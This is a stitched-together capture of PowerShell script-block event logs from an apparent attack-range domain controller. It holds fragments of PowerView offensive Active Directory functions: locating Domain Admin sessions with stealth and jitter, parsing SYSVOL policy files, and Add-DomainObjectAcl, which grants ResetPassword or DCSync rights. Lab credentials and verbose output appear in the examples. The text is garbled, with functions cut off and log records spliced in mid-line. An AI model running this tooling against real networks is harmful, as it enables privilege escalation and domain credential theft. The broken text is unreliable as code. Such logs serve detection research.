This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[Stcb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118524Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local2948ew-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,
[Switch]
$OutputObject,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
cb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118514Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1948cal/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainObject] Get-DomainObject filter string:(&(|(samAccountName=dfm.a)))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=dfm (admin),CN=Users,DC=testlab,DC=local
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
[no results returned]
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity harmj0y -Rights ResetPassword -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=harmj0y)(name=harmj0y))))
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local 'ResetPassword' on CN=testuser testuser,CN=Users,DC=testlab,DC=local
VERBOSE: [Add-DomainObjectAcl] Granting principal CN=harmj0y,CN=Users,DC=testlab,DC=local rights GUID '00299570-246d-11d0-a768-00aa006e0529' on CN=testuser,CN=Users,DC=testlab,DC=local
Get-DomainObjectACL testuser -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid }
AceQualifier : AccessAllowed
ObjectDN : CN=dfm (admin),CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-890171859-3433809279-3366196753-1114
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-890171859-3433809279-3366196753-1108
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
.LINK
https://adsecurity.org/?p=1906
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$PrincipalIdentity,
[ValidateNotNullOrEmpty()]
[String]
$PrincipalDomain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')]
[String]
$Rights = 'All',
[Guid]
$RightsGUID
)
BEGIN {
$TargetSearcherArguments = @{
'Properties' = 'distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain }
if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter }
if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase }
if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential }
$PrincipalSearcherArguments = @{
'Identity' = $PrincipalIdentity
'Properties' = 'distinguishedname,objectsid'
}
if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain }
if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential }
$Principals = Get-DomainObject @PrincipalSearcherArguments
if (-not $Principals) {
throw "Unable to resolve principal: $PrincipalIdentity"
}
}
PROCESS {
$TargetSearcherArguments['Identity'] = $TargetIdentity
$Targets = Get-DomainObject @TargetSearcherArguments
ForEach ($TargetObject in $Targets) {
$InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None'
$ControlType = [System.Security.AccessControl.AccessControlType] 'Allow'
$ACEs = @()
if ($RightsGUID) {
$GUIDs = @($RightsGUID)
}
else {
$GUIDs = Switch ($Rights) {
# ResetPassword doesn't need to know the user's current password
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
# allows for the modification of group membership
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
# 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
# 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c
# when applied to a domain's ACL, allows for the use of DCSync
'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'}
}
}
ForEach ($PrincipalObject in $Principals) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)"
try {
$Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid)
if ($GUIDs) {
ForEach ($GUID in $GUIDs) {
$NewGUID = New-Object Guid $GUID
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType
}
}
else {
# deault to GenericAll rights
$ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll'
$ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType
}
# add all the new ACEs to the specified object directory entry
ForEach ($ACE in $ACEs) {
Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)"
$TargetEntry = $TargetObject.GetDirectoryEntry()
$TargetEntry.PsBase.Options.SecurityMasks = 'Dacl'
$TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetEntry.PsBase.CommitChanges()
}
}
catch {
Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_"
}
}
}
}
}
function Remove-DomainObjectAcl {
<#
.SYNOPSIS
Removes an ACL from a specific active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are removed from the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
